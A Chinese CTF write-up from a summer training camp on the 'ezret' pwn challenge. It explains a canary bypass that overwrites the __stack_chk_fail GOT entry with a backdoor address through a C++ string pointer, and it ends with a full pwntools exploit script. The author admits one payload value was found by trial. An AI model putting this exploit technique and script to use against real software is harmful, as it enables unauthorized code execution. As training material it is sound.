暑期集训ezret(学会看gdb)
64位ida打开并反汇编的main():
进入input_person函数:
仔细看可以找到一个特别的函数名win,点进去发现是后门:
根据ida看出程序的基本逻辑是输入name和age,输出age和name
很多时候ida会抽风(bushi),就比如operater=里面的参数没给,不过没关系,我们可以猜(),可以看出input_person里面v11(age)是个引用,而v12(name)是个指针,而我们输入的v3(name)是字符串(string),再根据c++运算符重载我们猜测operator=是让v12指向v3的地址。
看看保护:canary和NX
思路:
canary绕过中有一种方法:
在开启canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行。stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。
又已知后门函数地址,我们可以将后门函数地址写入v3,让v12指向它(注意operator=在运行时是从头开始读取,所以win的地址要存在开头),再根据延迟绑定机制将win地址写入stack_chk_fail的got表里,这样在触发canary保护时系统运行的就是后门函数了。
gdb调试
input_person处下断点,运行到函数即将结束时查看当前的栈
可以看到输入位置距离rbp为0x110(包括输入),而进入到主函数后v12指向v3的位置距离rbp为0x20,故中间填充部分大小为0x110+0x20-0x8=0x128(当然也可以使用ljust函数,0x130左对齐)
wp
from pwn import *
context(log_level='debug', arch="amd64", os='linux')
p=remote("127.0.0.1",40731)
#p = process("./ezret")
elf = ELF("./ezret")
stack_chk_fail_got = elf.got['__stack_chk_fail'] #0x404050
win_addr = 0x4012f6
#payload = p64(win_addr)
#payload = payload.ljust( 0x130,b'\x00')
payload = p64(win_addr) #这占0x8
payload += b'\x00'*0x128 #加起来一共0x130,和注释的wp一个意思
#payload += p64(stack_chk_fail_got) #这样本地可以,但远端打不过,跟debug行为有关(存个疑)
payload += flat(stack_chk_fail_got,0x6,0x3)
#gdb.attach(p)
#pause()
p.sendline( payload)
#pause()
p.sendline( b'46565')
p.interactive()
上述代码中payload += flat(stack_chk_fail_got,0x6,0x3),0x6的位置是string结构体的size部分,0x3的位置是试出来的,大于某个不知名的字节数就可以,具体原理听学长讲了几遍还是不能理解,等以后做到这类题再慢慢看吧QAQ......